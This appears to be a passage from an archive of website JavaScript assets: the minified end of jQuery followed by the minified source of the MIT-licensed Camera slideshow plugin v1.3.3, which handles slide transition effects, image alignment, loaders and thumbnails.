e,t,n={top:0,left:0},r=this[0];return"fixed"===b.css(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),b.nodeName(e[0],"html")||(n=e.offset()),n.top+=b.css(e[0],"borderTopWidth",!0),n.left+=b.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-b.css(r,"marginTop",!0),left:t.left-n.left-b.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||o.documentElement;while(e&&!b.nodeName(e,"html")&&"static"===b.css(e,"position"))e=e.offsetParent;return e||o.documentElement})}}),b.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var r=/Y/.test(n);b.fn[e]=function(i){return b.access(this,function(e,i,o){var a=or(e);return o===t?a?n in a?a[n]:a.document.documentElement[i]:e[i]:(a?a.scrollTo(r?b(a).scrollLeft():o,r?o:b(a).scrollTop()):e[i]=o,t)},e,i,arguments.length,null)}});function or(e){return b.isWindow(e)?e:9===e.nodeType?e.defaultView||e.parentWindow:!1}b.each({Height:"height",Width:"width"},function(e,n){b.each({padding:"inner"+e,content:n,"":"outer"+e},function(r,i){b.fn[i]=function(i,o){var a=arguments.length&&(r||"boolean"!=typeof i),s=r||(i===!0||o===!0?"margin":"border");return b.access(this,function(n,r,i){var o;return b.isWindow(n)?n.document.documentElement["client"+e]:9===n.nodeType?(o=n.documentElement,Math.max(n.body["scroll"+e],o["scroll"+e],n.body["offset"+e],o["offset"+e],o["client"+e])):i===t?b.css(n,r,s):b.style(n,r,i,s)},n,a?i:t,a,null)}})}),e.jQuery=e.$=b,"function"==typeof define&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return b})})(window); assets/js/camera.min.js000060400000114645151652224050011043 0ustar00// Camera slideshow v1.3.3 - a jQuery slideshow with many effects, transitions, easy to customize, using canvas and mobile ready, based on jQuery 1.4+ // Copyright (c) 2012 by Manuel Masia - www.pixedelic.com // Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php ;(function(a){a.fn.camera=function(b,c){function e(){if(navigator.userAgent.match(/Android/i)||navigator.userAgent.match(/webOS/i)||navigator.userAgent.match(/iPad/i)||navigator.userAgent.match(/iPhone/i)||navigator.userAgent.match(/iPod/i)){return true}}function H(){var b=a(s).width();a("li",s).removeClass("camera_visThumb");a("li",s).each(function(){var c=a(this).position(),d=a("ul",s).outerWidth(),e=a("ul",s).offset().left,f=a("> div",s).offset().left,g=f-e;if(g>0){a(".camera_prevThumbs",V).removeClass("hideNav")}else{a(".camera_prevThumbs",V).addClass("hideNav")}if(d-g>b){a(".camera_nextThumbs",V).removeClass("hideNav")}else{a(".camera_nextThumbs",V).addClass("hideNav")}var h=c.left,i=c.left+a(this).width();if(i-g<=b&&h-g>=0){a(this).addClass("camera_visThumb")}})}function K(){function d(){t=f.width();if(b.height.indexOf("%")!=-1){var c=Math.round(t/(100/parseFloat(b.height)));if(b.minHeight!=""&&c<parseFloat(b.minHeight)){u=parseFloat(b.minHeight)}else{u=c}f.css({height:u})}else if(b.height=="auto"){u=f.height()}else{u=parseFloat(b.height);f.css({height:u})}a(".camerarelative",k).css({width:t,height:u});a(".imgLoaded",k).each(function(){var c=a(this),d=c.attr("width"),e=c.attr("height"),f=c.index(),g,h,i=c.attr("data-alignment"),j=c.attr("data-portrait");if(typeof i==="undefined"||i===false||i===""){i=b.alignment}if(typeof j==="undefined"||j===false||j===""){j=b.portrait}if(j==false||j=="false"){if(d/e<t/u){var k=t/d;var l=Math.abs(u-e*k)*.5;switch(i){case"topLeft":g=0;break;case"topCenter":g=0;break;case"topRight":g=0;break;case"centerLeft":g="-"+l+"px";break;case"center":g="-"+l+"px";break;case"centerRight":g="-"+l+"px";break;case"bottomLeft":g="-"+l*2+"px";break;case"bottomCenter":g="-"+l*2+"px";break;case"bottomRight":g="-"+l*2+"px";break}c.css({height:e*k,"margin-left":0,"margin-top":g,position:"absolute",visibility:"visible",width:t})}else{var k=u/e;var l=Math.abs(t-d*k)*.5;switch(i){case"topLeft":h=0;break;case"topCenter":h="-"+l+"px";break;case"topRight":h="-"+l*2+"px";break;case"centerLeft":h=0;break;case"center":h="-"+l+"px";break;case"centerRight":h="-"+l*2+"px";break;case"bottomLeft":h=0;break;case"bottomCenter":h="-"+l+"px";break;case"bottomRight":h="-"+l*2+"px";break}c.css({height:u,"margin-left":h,"margin-top":0,position:"absolute",visibility:"visible",width:d*k})}}else{if(d/e<t/u){var k=u/e;var l=Math.abs(t-d*k)*.5;switch(i){case"topLeft":h=0;break;case"topCenter":h=l+"px";break;case"topRight":h=l*2+"px";break;case"centerLeft":h=0;break;case"center":h=l+"px";break;case"centerRight":h=l*2+"px";break;case"bottomLeft":h=0;break;case"bottomCenter":h=l+"px";break;case"bottomRight":h=l*2+"px";break}c.css({height:u,"margin-left":h,"margin-top":0,position:"absolute",visibility:"visible",width:d*k})}else{var k=t/d;var l=Math.abs(u-e*k)*.5;switch(i){case"topLeft":g=0;break;case"topCenter":g=0;break;case"topRight":g=0;break;case"centerLeft":g=l+"px";break;case"center":g=l+"px";break;case"centerRight":g=l+"px";break;case"bottomLeft":g=l*2+"px";break;case"bottomCenter":g=l*2+"px";break;case"bottomRight":g=l*2+"px";break}c.css({height:e*k,"margin-left":0,"margin-top":g,position:"absolute",visibility:"visible",width:t})}}})}var c;if(I==true){clearTimeout(c);c=setTimeout(d,200)}else{d()}I=true}function X(a){for(var b,c,d=a.length;d;b=parseInt(Math.random()*d),c=a[--d],a[d]=a[b],a[b]=c);return a}function Y(a){return Math.ceil(a)==Math.floor(a)}function hb(){if(a(s).length&&!a(r).length){var b=a(s).outerWidth(),c=a("ul > li",s).outerWidth(),d=a("li.cameracurrent",s).length?a("li.cameracurrent",s).position():"",e=a("ul > li",s).length*a("ul > li",s).outerWidth(),g=a("ul",s).offset().left,h=a("> div",s).offset().left,i;if(g<0){i="-"+(h-g)}else{i=h-g}if(gb==true){a("ul",s).width(a("ul > li",s).length*a("ul > li",s).outerWidth());if(a(s).length&&!a(r).lenght){f.css({marginBottom:a(s).outerHeight()})}H();a("ul",s).width(a("ul > li",s).length*a("ul > li",s).outerWidth());if(a(s).length&&!a(r).lenght){f.css({marginBottom:a(s).outerHeight()})}}gb=false;var j=a("li.cameracurrent",s).length?d.left:"",k=a("li.cameracurrent",s).length?d.left+a("li.cameracurrent",s).outerWidth():"";if(j<a("li.cameracurrent",s).outerWidth()){j=0}if(k-i>b){if(j+b<e){a("ul",s).animate({"margin-left":"-"+j+"px"},500,H)}else{a("ul",s).animate({"margin-left":"-"+(a("ul",s).outerWidth()-b)+"px"},500,H)}}else if(j-i<0){a("ul",s).animate({"margin-left":"-"+j+"px"},500,H)}else{a("ul",s).css({"margin-left":"auto","margin-right":"auto"});setTimeout(H,100)}}}function ib(){bb=0;var c=a(".camera_bar_cont",V).width(),d=a(".camera_bar_cont",V).height();if(h!="pie"){switch(U){case"leftToRight":a("#"+i).css({right:c});break;case"rightToLeft":a("#"+i).css({left:c});break;case"topToBottom":a("#"+i).css({bottom:d});break;case"bottomToTop":a("#"+i).css({top:d});break}}else{db.clearRect(0,0,b.pieDiameter,b.pieDiameter)}}function jb(c){j.addClass("camerasliding");R=false;var d=parseFloat(a("div.cameraSlide.cameracurrent",k).index());if(c>0){var l=c-1}else if(d==B-1){var l=0}else{var l=d+1}var m=a(".cameraSlide:eq("+l+")",k);var n=a(".cameraSlide:eq("+(l+1)+")",k).addClass("cameranext");if(d!=l+1){n.hide()}a(".cameraContent",g).fadeOut(600);a(".camera_caption",g).show();a(".camerarelative",m).append(a("> div ",j).eq(l).find("> div.camera_effected"));a(".camera_target_content .cameraContent:eq("+l+")",f).append(a("> div ",j).eq(l).find("> div"));if(!a(".imgLoaded",m).length){var o=v[l];var p=new Image;p.src=o+"?"+(new Date).getTime();m.css("visibility","hidden");m.prepend(a(p).attr("class","imgLoaded").css("visibility","hidden"));var q,w;if(!a(p).get(0).complete||q=="0"||w=="0"||typeof q==="undefined"||q===false||typeof w==="undefined"||w===false){a(".camera_loader",f).delay(500).fadeIn(400);p.onload=function(){q=p.naturalWidth;w=p.naturalHeight;a(p).attr("data-alignment",z[l]).attr("data-portrait",y[l]);a(p).attr("width",q);a(p).attr("height",w);k.find(".cameraSlide_"+l).hide().css("visibility","visible");K();jb(l+1)}}}else{if(v.length>l+1&&!a(".imgLoaded",n).length){var x=v[l+1];var A=new Image;A.src=x+"?"+(new Date).getTime();n.prepend(a(A).attr("class","imgLoaded").css("visibility","hidden"));A.onload=function(){q=A.naturalWidth;w=A.naturalHeight;a(A).attr("data-alignment",z[l+1]).attr("data-portrait",y[l+1]);a(A).attr("width",q);a(A).attr("height",w);K()}}b.onLoaded.call(this);if(a(".camera_loader",f).is(":visible")){a(".camera_loader",f).fadeOut(400)}else{a(".camera_loader",f).css({visibility:"hidden"});a(".camera_loader",f).fadeOut(400,function(){a(".camera_loader",f).css({visibility:"visible"})})}var C=b.rows,D=b.cols,F=1,G=0,H,I,J,N,O,P=new Array("simpleFade","curtainTopLeft","curtainTopRight","curtainBottomLeft","curtainBottomRight","curtainSliceLeft","curtainSliceRight","blindCurtainTopLeft","blindCurtainTopRight","blindCurtainBottomLeft","blindCurtainBottomRight","blindCurtainSliceBottom","blindCurtainSliceTop","stampede","mosaic","mosaicReverse","mosaicRandom","mosaicSpiral","mosaicSpiralReverse","topLeftBottomRight","bottomRightTopLeft","bottomLeftTopRight","topRightBottomLeft","scrollLeft","scrollRight","scrollTop","scrollBottom","scrollHorz");marginLeft=0,marginTop=0,opacityOnGrid=0;if(b.opacityOnGrid==true){opacityOnGrid=0}else{opacityOnGrid=1}var Q=a(" > div",j).eq(l).attr("data-fx");if(e()&&b.mobileFx!=""&&b.mobileFx!="default"){N=b.mobileFx}else{if(typeof Q!=="undefined"&&Q!==false&&Q!=="default"){N=Q}else{N=b.fx}}if(N=="random"){N=X(P);N=N[0]}else{N=N;if(N.indexOf(",")>0){N=N.replace(/ /g,"");N=N.split(",");N=X(N);N=N[0]}}dataEasing=a(" > div",j).eq(l).attr("data-easing");mobileEasing=a(" > div",j).eq(l).attr("data-mobileEasing");if(e()&&b.mobileEasing!=""&&b.mobileEasing!="default"){if(typeof mobileEasing!=="undefined"&&mobileEasing!==false&&mobileEasing!=="default"){O=mobileEasing}else{O=b.mobileEasing}}else{if(typeof dataEasing!=="undefined"&&dataEasing!==false&&dataEasing!=="default"){O=dataEasing}else{O=b.easing}}H=a(" > div",j).eq(l).attr("data-slideOn");if(typeof H!=="undefined"&&H!==false){T=H}else{if(b.slideOn=="random"){var T=new Array("next","prev");T=X(T);T=T[0]}else{T=b.slideOn}}var Y=a(" > div",j).eq(l).attr("data-time");if(typeof Y!=="undefined"&&Y!==false&&Y!==""){I=parseFloat(Y)}else{I=b.time}var Z=a(" > div",j).eq(l).attr("data-transPeriod");if(typeof Z!=="undefined"&&Z!==false&&Z!==""){J=parseFloat(Z)}else{J=b.transPeriod}if(!a(j).hasClass("camerastarted")){N="simpleFade";T="next";O="";J=400;a(j).addClass("camerastarted")}switch(N){case"simpleFade":D=1;C=1;break;case"curtainTopLeft":if(b.slicedCols==0){D=b.cols}else{D=b.slicedCols}C=1;break;case"curtainTopRight":if(b.slicedCols==0){D=b.cols}else{D=b.slicedCols}C=1;break;case"curtainBottomLeft":if(b.slicedCols==0){D=b.cols}else{D=b.slicedCols}C=1;break;case"curtainBottomRight":if(b.slicedCols==0){D=b.cols}else{D=b.slicedCols}C=1;break;case"curtainSliceLeft":if(b.slicedCols==0){D=b.cols}else{D=b.slicedCols}C=1;break;case"curtainSliceRight":if(b.slicedCols==0){D=b.cols}else{D=b.slicedCols}C=1;break;case"blindCurtainTopLeft":if(b.slicedRows==0){C=b.rows}else{C=b.slicedRows}D=1;break;case"blindCurtainTopRight":if(b.slicedRows==0){C=b.rows}else{C=b.slicedRows}D=1;break;case"blindCurtainBottomLeft":if(b.slicedRows==0){C=b.rows}else{C=b.slicedRows}D=1;break;case"blindCurtainBottomRight":if(b.slicedRows==0){C=b.rows}else{C=b.slicedRows}D=1;break;case"blindCurtainSliceTop":if(b.slicedRows==0){C=b.rows}else{C=b.slicedRows}D=1;break;case"blindCurtainSliceBottom":if(b.slicedRows==0){C=b.rows}else{C=b.slicedRows}D=1;break;case"stampede":G="-"+J;break;case"mosaic":G=b.gridDifference;break;case"mosaicReverse":G=b.gridDifference;break;case"mosaicRandom":break;case"mosaicSpiral":G=b.gridDifference;F=1.7;break;case"mosaicSpiralReverse":G=b.gridDifference;F=1.7;break;case"topLeftBottomRight":G=b.gridDifference;F=6;break;case"bottomRightTopLeft":G=b.gridDifference;F=6;break;case"bottomLeftTopRight":G=b.gridDifference;F=6;break;case"topRightBottomLeft":G=b.gridDifference;F=6;break;case"scrollLeft":D=1;C=1;break;case"scrollRight":D=1;C=1;break;case"scrollTop":D=1;C=1;break;case"scrollBottom":D=1;C=1;break;case"scrollHorz":D=1;C=1;break}var _=0;var ab=C*D;var eb=t-Math.floor(t/D)*D;var fb=u-Math.floor(u/C)*C;var gb;var kb;var lb=0;var mb=0;var nb=new Array;var ob=new Array;var pb=new Array;while(_<ab){nb.push(_);ob.push(_);E.append('<div class="cameraappended" style="display:none; overflow:hidden; position:absolute; z-index:1000" />');var qb=a(".cameraappended:eq("+_+")",k);if(N=="scrollLeft"||N=="scrollRight"||N=="scrollTop"||N=="scrollBottom"||N=="scrollHorz"){S.eq(l).clone().show().appendTo(qb)}else{if(T=="next"){S.eq(l).clone().show().appendTo(qb)}else{S.eq(d).clone().show().appendTo(qb)}}if(_%D<eb){gb=1}else{gb=0}if(_%D==0){lb=0}if(Math.floor(_/D)<fb){kb=1}else{kb=0}qb.css({height:Math.floor(u/C+kb+1),left:lb,top:mb,width:Math.floor(t/D+gb+1)});a("> .cameraSlide",qb).css({height:u,"margin-left":"-"+lb+"px","margin-top":"-"+mb+"px",width:t});lb=lb+qb.width()-1;if(_%D==D-1){mb=mb+qb.height()-1}_++}switch(N){case"curtainTopLeft":break;case"curtainBottomLeft":break;case"curtainSliceLeft":break;case"curtainTopRight":nb=nb.reverse();break;case"curtainBottomRight":nb=nb.reverse();break;case"curtainSliceRight":nb=nb.reverse();break;case"blindCurtainTopLeft":break;case"blindCurtainBottomLeft":nb=nb.reverse();break;case"blindCurtainSliceTop":break;case"blindCurtainTopRight":break;case"blindCurtainBottomRight":nb=nb.reverse();break;case"blindCurtainSliceBottom":nb=nb.reverse();break;case"stampede":nb=X(nb);break;case"mosaic":break;case"mosaicReverse":nb=nb.reverse();break;case"mosaicRandom":nb=X(nb);break;case"mosaicSpiral":var rb=C/2,sb,tb,ub,vb=0;for(ub=0;ub<rb;ub++){tb=ub;for(sb=ub;sb<D-ub-1;sb++){pb[vb++]=tb*D+sb}sb=D-ub-1;for(tb=ub;tb<C-ub-1;tb++){pb[vb++]=tb*D+sb}tb=C-ub-1;for(sb=D-ub-1;sb>ub;sb--){pb[vb++]=tb*D+sb}sb=ub;for(tb=C-ub-1;tb>ub;tb--){pb[vb++]=tb*D+sb}}nb=pb;break;case"mosaicSpiralReverse":var rb=C/2,sb,tb,ub,vb=ab-1;for(ub=0;ub<rb;ub++){tb=ub;for(sb=ub;sb<D-ub-1;sb++){pb[vb--]=tb*D+sb}sb=D-ub-1;for(tb=ub;tb<C-ub-1;tb++){pb[vb--]=tb*D+sb}tb=C-ub-1;for(sb=D-ub-1;sb>ub;sb--){pb[vb--]=tb*D+sb}sb=ub;for(tb=C-ub-1;tb>ub;tb--){pb[vb--]=tb*D+sb}}nb=pb;break;case"topLeftBottomRight":for(var tb=0;tb<C;tb++)for(var sb=0;sb<D;sb++){pb.push(sb+tb)}ob=pb;break;case"bottomRightTopLeft":for(var tb=0;tb<C;tb++)for(var sb=0;sb<D;sb++){pb.push(sb+tb)}ob=pb.reverse();break;case"bottomLeftTopRight":for(var tb=C;tb>0;tb--)for(var sb=0;sb<D;sb++){pb.push(sb+tb)}ob=pb;break;case"topRightBottomLeft":for(var tb=0;tb<C;tb++)for(var sb=D;sb>0;sb--){pb.push(sb+tb)}ob=pb;break}a.each(nb,function(c,e){function o(){a(this).addClass("cameraeased");if(a(".cameraeased",k).length>=0){a(s).css({visibility:"visible"})}if(a(".cameraeased",k).length==ab){hb();a(".moveFromLeft, .moveFromRight, .moveFromTop, .moveFromBottom, .fadeIn, .fadeFromLeft, .fadeFromRight, .fadeFromTop, .fadeFromBottom",g).each(function(){a(this).css("visibility","hidden")});S.eq(l).show().css("z-index","999").removeClass("cameranext").addClass("cameracurrent");S.eq(d).css("z-index","1").removeClass("cameracurrent");a(".cameraContent",g).eq(l).addClass("cameracurrent");if(d>=0){a(".cameraContent",g).eq(d).removeClass("cameracurrent")}b.onEndTransition.call(this);if(a("> div",j).eq(l).attr("data-video")!="hide"&&a(".cameraContent.cameracurrent .imgFake",g).length){a(".cameraContent.cameracurrent .imgFake",g).click()}var c=S.eq(l).find(".fadeIn").length;var e=a(".cameraContent",g).eq(l).find(".moveFromLeft, .moveFromRight, .moveFromTop, .moveFromBottom, .fadeIn, .fadeFromLeft, .fadeFromRight, .fadeFromTop, .fadeFromBottom").length;if(c!=0){a(".cameraSlide.cameracurrent .fadeIn",g).each(function(){if(a(this).attr("data-easing")!=""){var b=a(this).attr("data-easing")}else{var b=O}var d=a(this);if(typeof d.attr("data-outerWidth")==="undefined"||d.attr("data-outerWidth")===false||d.attr("data-outerWidth")===""){var e=d.outerWidth();d.attr("data-outerWidth",e)}else{var e=d.attr("data-outerWidth")}if(typeof d.attr("data-outerHeight")==="undefined"||d.attr("data-outerHeight")===false||d.attr("data-outerHeight")===""){var f=d.outerHeight();d.attr("data-outerHeight",f)}else{var f=d.attr("data-outerHeight")}var g=d.position();var h=g.left;var i=g.top;var j=d.attr("class");var k=d.index();var l=d.parents(".camerarelative").outerHeight();var m=d.parents(".camerarelative").outerWidth();if(j.indexOf("fadeIn")!=-1){d.animate({opacity:0},0).css("visibility","visible").delay(I/c*.1*(k-1)).animate({opacity:1},I/c*.15,b)}else{d.css("visibility","visible")}})}a(".cameraContent.cameracurrent",g).show();if(e!=0){a(".cameraContent.cameracurrent .moveFromLeft, .cameraContent.cameracurrent .moveFromRight, .cameraContent.cameracurrent .moveFromTop, .cameraContent.cameracurrent .moveFromBottom, .cameraContent.cameracurrent .fadeIn, .cameraContent.cameracurrent .fadeFromLeft, .cameraContent.cameracurrent .fadeFromRight, .cameraContent.cameracurrent .fadeFromTop, .cameraContent.cameracurrent .fadeFromBottom",g).each(function(){if(a(this).attr("data-easing")!=""){var b=a(this).attr("data-easing")}else{var b=O}var c=a(this);var d=c.position();var f=d.left;var g=d.top;var h=c.attr("class");var i=c.index();var j=c.outerHeight();if(h.indexOf("moveFromLeft")!=-1){c.css({left:"-"+t+"px",right:"auto"});c.css("visibility","visible").delay(I/e*.1*(i-1)).animate({left:d.left},I/e*.15,b)}else if(h.indexOf("moveFromRight")!=-1){c.css({left:t+"px",right:"auto"});c.css("visibility","visible").delay(I/e*.1*(i-1)).animate({left:d.left},I/e*.15,b)}else if(h.indexOf("moveFromTop")!=-1){c.css({top:"-"+u+"px",bottom:"auto"});c.css("visibility","visible").delay(I/e*.1*(i-1)).animate({top:d.top},I/e*.15,b,function(){c.css({top:"auto",bottom:0})})}else if(h.indexOf("moveFromBottom")!=-1){c.css({top:u+"px",bottom:"auto"});c.css("visibility","visible").delay(I/e*.1*(i-1)).animate({top:d.top},I/e*.15,b)}else if(h.indexOf("fadeFromLeft")!=-1){c.animate({opacity:0},0).css({left:"-"+t+"px",right:"auto"});c.css("visibility","visible").delay(I/e*.1*(i-1)).animate({left:d.left,opacity:1},I/e*.15,b)}else if(h.indexOf("fadeFromRight")!=-1){c.animate({opacity:0},0).css({left:t+"px",right:"auto"});c.css("visibility","visible").delay(I/e*.1*(i-1)).animate({left:d.left,opacity:1},I/e*.15,b)}else if(h.indexOf("fadeFromTop")!=-1){c.animate({opacity:0},0).css({top:"-"+u+"px",bottom:"auto"});c.css("visibility","visible").delay(I/e*.1*(i-1)).animate({top:d.top,opacity:1},I/e*.15,b,function(){c.css({top:"auto",bottom:0})})}else if(h.indexOf("fadeFromBottom")!=-1){c.animate({opacity:0},0).css({bottom:"-"+j+"px"});c.css("visibility","visible").delay(I/e*.1*(i-1)).animate({bottom:"0",opacity:1},I/e*.15,b)}else if(h.indexOf("fadeIn")!=-1){c.animate({opacity:0},0).css("visibility","visible").delay(I/e*.1*(i-1)).animate({opacity:1},I/e*.15,b)}else{c.css("visibility","visible")}})}a(".cameraappended",k).remove();j.removeClass("camerasliding");S.eq(d).hide();var f=a(".camera_bar_cont",V).width(),m=a(".camera_bar_cont",V).height(),o;if(h!="pie"){o=.05}else{o=.005}a("#"+i).animate({opacity:b.loaderOpacity},200);L=setInterval(function(){if(j.hasClass("stopped")){clearInterval(L)}if(h!="pie"){if(bb<=1.002&&!j.hasClass("stopped")&&!j.hasClass("paused")&&!j.hasClass("hovered")){bb=bb+o}else if(bb<=1&&(j.hasClass("stopped")||j.hasClass("paused")||j.hasClass("stopped")||j.hasClass("hovered"))){bb=bb}else{if(!j.hasClass("stopped")&&!j.hasClass("paused")&&!j.hasClass("hovered")){clearInterval(L);W();a("#"+i).animate({opacity:0},200,function(){clearTimeout(M);M=setTimeout(ib,n);jb();b.onStartLoading.call(this)})}}switch(U){case"leftToRight":a("#"+i).animate({right:f-f*bb},I*o,"linear");break;case"rightToLeft":a("#"+i).animate({left:f-f*bb},I*o,"linear");break;case"topToBottom":a("#"+i).animate({bottom:m-m*bb},I*o,"linear");break;case"bottomToTop":a("#"+i).animate({bottom:m-m*bb},I*o,"linear");break}}else{cb=bb;db.clearRect(0,0,b.pieDiameter,b.pieDiameter);db.globalCompositeOperation="destination-over";db.beginPath();db.arc(b.pieDiameter/2,b.pieDiameter/2,b.pieDiameter/2-b.loaderStroke,0,Math.PI*2,false);db.lineWidth=b.loaderStroke;db.strokeStyle=b.loaderBgColor;db.stroke();db.closePath();db.globalCompositeOperation="source-over";db.beginPath();db.arc(b.pieDiameter/2,b.pieDiameter/2,b.pieDiameter/2-b.loaderStroke,0,Math.PI*2*cb,false);db.lineWidth=b.loaderStroke-b.loaderPadding*2;db.strokeStyle=b.loaderColor;db.stroke();db.closePath();if(bb<=1.002&&!j.hasClass("stopped")&&!j.hasClass("paused")&&!j.hasClass("hovered")){bb=bb+o}else if(bb<=1&&(j.hasClass("stopped")||j.hasClass("paused")||j.hasClass("hovered"))){bb=bb}else{if(!j.hasClass("stopped")&&!j.hasClass("paused")&&!j.hasClass("hovered")){clearInterval(L);W();a("#"+i+", .camera_canvas_wrap",V).animate({opacity:0},200,function(){clearTimeout(M);M=setTimeout(ib,n);jb();b.onStartLoading.call(this)})}}}},I*o)}}if(e%D<eb){gb=1}else{gb=0}if(e%D==0){lb=0}if(Math.floor(e/D)<fb){kb=1}else{kb=0}switch(N){case"simpleFade":height=u;width=t;opacityOnGrid=0;break;case"curtainTopLeft":height=0,width=Math.floor(t/D+gb+1),marginTop="-"+Math.floor(u/C+kb+1)+"px";break;case"curtainTopRight":height=0,width=Math.floor(t/D+gb+1),marginTop="-"+Math.floor(u/C+kb+1)+"px";break;case"curtainBottomLeft":height=0,width=Math.floor(t/D+gb+1),marginTop=Math.floor(u/C+kb+1)+"px";break;case"curtainBottomRight":height=0,width=Math.floor(t/D+gb+1),marginTop=Math.floor(u/C+kb+1)+"px";break;case"curtainSliceLeft":height=0,width=Math.floor(t/D+gb+1);if(e%2==0){marginTop=Math.floor(u/C+kb+1)+"px"}else{marginTop="-"+Math.floor(u/C+kb+1)+"px"}break;case"curtainSliceRight":height=0,width=Math.floor(t/D+gb+1);if(e%2==0){marginTop=Math.floor(u/C+kb+1)+"px"}else{marginTop="-"+Math.floor(u/C+kb+1)+"px"}break;case"blindCurtainTopLeft":height=Math.floor(u/C+kb+1),width=0,marginLeft="-"+Math.floor(t/D+gb+1)+"px";break;case"blindCurtainTopRight":height=Math.floor(u/C+kb+1),width=0,marginLeft=Math.floor(t/D+gb+1)+"px";break;case"blindCurtainBottomLeft":height=Math.floor(u/C+kb+1),width=0,marginLeft="-"+Math.floor(t/D+gb+1)+"px";break;case"blindCurtainBottomRight":height=Math.floor(u/C+kb+1),width=0,marginLeft=Math.floor(t/D+gb+1)+"px";break;case"blindCurtainSliceBottom":height=Math.floor(u/C+kb+1),width=0;if(e%2==0){marginLeft="-"+Math.floor(t/D+gb+1)+"px"}else{marginLeft=Math.floor(t/D+gb+1)+"px"}break;case"blindCurtainSliceTop":height=Math.floor(u/C+kb+1),width=0;if(e%2==0){marginLeft="-"+Math.floor(t/D+gb+1)+"px"}else{marginLeft=Math.floor(t/D+gb+1)+"px"}break;case"stampede":height=0;width=0;marginLeft=t*.2*(c%D-(D-Math.floor(D/2)))+"px";marginTop=u*.2*(Math.floor(c/D)+1-(C-Math.floor(C/2)))+"px";break;case"mosaic":height=0;width=0;break;case"mosaicReverse":height=0;width=0;marginLeft=Math.floor(t/D+gb+1)+"px";marginTop=Math.floor(u/C+kb+1)+"px";break;case"mosaicRandom":height=0;width=0;marginLeft=Math.floor(t/D+gb+1)*.5+"px";marginTop=Math.floor(u/C+kb+1)*.5+"px";break;case"mosaicSpiral":height=0;width=0;marginLeft=Math.floor(t/D+gb+1)*.5+"px";marginTop=Math.floor(u/C+kb+1)*.5+"px";break;case"mosaicSpiralReverse":height=0;width=0;marginLeft=Math.floor(t/D+gb+1)*.5+"px";marginTop=Math.floor(u/C+kb+1)*.5+"px";break;case"topLeftBottomRight":height=0;width=0;break;case"bottomRightTopLeft":height=0;width=0;marginLeft=Math.floor(t/D+gb+1)+"px";marginTop=Math.floor(u/C+kb+1)+"px";break;case"bottomLeftTopRight":height=0;width=0;marginLeft=0;marginTop=Math.floor(u/C+kb+1)+"px";break;case"topRightBottomLeft":height=0;width=0;marginLeft=Math.floor(t/D+gb+1)+"px";marginTop=0;break;case"scrollRight":height=u;width=t;marginLeft=-t;break;case"scrollLeft":height=u;width=t;marginLeft=t;break;case"scrollTop":height=u;width=t;marginTop=u;break;case"scrollBottom":height=u;width=t;marginTop=-u;break;case"scrollHorz":height=u;width=t;if(d==0&&l==B-1){marginLeft=-t}else if(d<l||d==B-1&&l==0){marginLeft=t}else{marginLeft=-t}break}var m=a(".cameraappended:eq("+e+")",k);if(typeof L!=="undefined"){clearInterval(L);clearTimeout(M);M=setTimeout(ib,J+G)}if(a(r).length){a(".camera_pag li",f).removeClass("cameracurrent");a(".camera_pag li",f).eq(l).addClass("cameracurrent")}if(a(s).length){a("li",s).removeClass("cameracurrent");a("li",s).eq(l).addClass("cameracurrent");a("li",s).not(".cameracurrent").find("img").animate({opacity:.5},0);a("li.cameracurrent img",s).animate({opacity:1},0);a("li",s).hover(function(){a("img",this).stop(true,false).animate({opacity:1},150)},function(){if(!a(this).hasClass("cameracurrent")){a("img",this).stop(true,false).animate({opacity:.5},150)}})}var n=parseFloat(J)+parseFloat(G);if(N=="scrollLeft"||N=="scrollRight"||N=="scrollTop"||N=="scrollBottom"||N=="scrollHorz"){b.onStartTransition.call(this);n=0;m.delay((J+G)/ab*ob[c]*F*.5).css({display:"block",height:height,"margin-left":marginLeft,"margin-top":marginTop,width:width}).animate({height:Math.floor(u/C+kb+1),"margin-top":0,"margin-left":0,width:Math.floor(t/D+gb+1)},J-G,O,o);S.eq(d).delay((J+G)/ab*ob[c]*F*.5).animate({"margin-left":marginLeft*-1,"margin-top":marginTop*-1},J-G,O,function(){a(this).css({"margin-top":0,"margin-left":0})})}else{b.onStartTransition.call(this);n=parseFloat(J)+parseFloat(G);if(T=="next"){m.delay((J+G)/ab*ob[c]*F*.5).css({display:"block",height:height,"margin-left":marginLeft,"margin-top":marginTop,width:width,opacity:opacityOnGrid}).animate({height:Math.floor(u/C+kb+1),"margin-top":0,"margin-left":0,opacity:1,width:Math.floor(t/D+gb+1)},J-G,O,o)}else{S.eq(l).show().css("z-index","999").addClass("cameracurrent");S.eq(d).css("z-index","1").removeClass("cameracurrent");a(".cameraContent",g).eq(l).addClass("cameracurrent");a(".cameraContent",g).eq(d).removeClass("cameracurrent");m.delay((J+G)/ab*ob[c]*F*.5).css({display:"block",height:Math.floor(u/C+kb+1),"margin-top":0,"margin-left":0,opacity:1,width:Math.floor(t/D+gb+1)}).animate({height:height,"margin-left":marginLeft,"margin-top":marginTop,width:width,opacity:opacityOnGrid},J-G,O,o)}}})}}var d={alignment:"center",autoAdvance:true,mobileAutoAdvance:true,barDirection:"leftToRight",barPosition:"bottom",cols:6,easing:"easeInOutExpo",mobileEasing:"",fx:"random",mobileFx:"",gridDifference:250,height:"50%",imagePath:"images/",hover:true,loader:"pie",loaderColor:"#eeeeee",loaderBgColor:"#222222",loaderOpacity:.8,loaderPadding:2,loaderStroke:7,minHeight:"200px",navigation:true,navigationHover:true,mobileNavHover:true,opacityOnGrid:false,overlayer:true,pagination:true,playPause:true,pauseOnClick:true,pieDiameter:38,piePosition:"rightTop",portrait:false,rows:4,slicedCols:12,slicedRows:8,slideOn:"random",thumbnails:false,time:7e3,transPeriod:1500,onEndTransition:function(){},onLoaded:function(){},onStartLoading:function(){},onStartTransition:function(){}};var b=a.extend({},d,b);var f=a(this).addClass("camera_wrap");f.wrapInner('<div class="camera_src" />').wrapInner('<div class="camera_fakehover" />');var g=a(".camera_fakehover",f);g.append('<div class="camera_target"></div>');if(b.overlayer==true){g.append('<div class="camera_overlayer"></div>')}g.append('<div class="camera_target_content"></div>');var h;if(b.loader=="pie"&&a.browser.msie&&a.browser.version<9){h="bar"}else{h=b.loader}if(h=="pie"){g.append('<div class="camera_pie"></div>')}else 